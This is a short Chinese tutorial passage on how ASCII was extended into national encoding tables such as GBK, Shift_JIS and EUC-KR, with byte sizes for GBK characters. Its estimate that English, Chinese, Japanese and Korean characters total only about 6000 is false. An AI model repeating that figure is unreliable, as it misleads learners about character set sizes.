各种国家的编码表虽然电脑是美国人发明的，但是随着历史的发展，各个国家的人们都开始接触，并想使用电脑。那么就要提前解决一个问题——就是原本的ASCII对照吧表中没有自己国家语言的字符。于是各个国家开始在ASCII编码表的基础上编制自己国家语言的字符编码表。gbk（国编码）GBK表的特点：只有中文字符、英文字符与数字的一一对应关系一个英文字符对应1Bytes一个中文字符对应2Bytes补充说明： 1Bytes=8bit，8bit最多包含256个数字，可以对应256个字符，足够表示所有英文字符​ 2Bytes=16bit，16bit最多包含65536个数字，可以对应65536个字符，足够表示所有中文字符​ 实际上英文字符+中文字符+韩文字符+日文字符估计也就才6000多个，但是在gbk编码表中只​ 有英文+中文字符和数字的对应关系。Shift_JIS日文编码表，只有日文和英文字符与数字的一一对应关系Euc-kr韩文编码表，只有韩文和英文字符与数字的一一对应关系在那个年代，美国人使用的计算机里面字符编码的标准是ASCII，中国人的是GBK，日本人的是Shift_JIS，韩国人的…